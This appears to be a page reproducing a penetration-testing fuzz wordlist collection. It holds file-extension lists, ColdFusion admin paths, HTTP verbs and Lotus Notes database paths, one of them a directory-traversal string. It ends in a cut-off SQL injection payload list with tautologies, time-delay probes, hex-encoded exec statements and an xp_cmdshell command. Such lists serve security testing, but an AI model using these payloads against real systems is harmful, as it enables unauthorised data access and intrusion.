.aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br 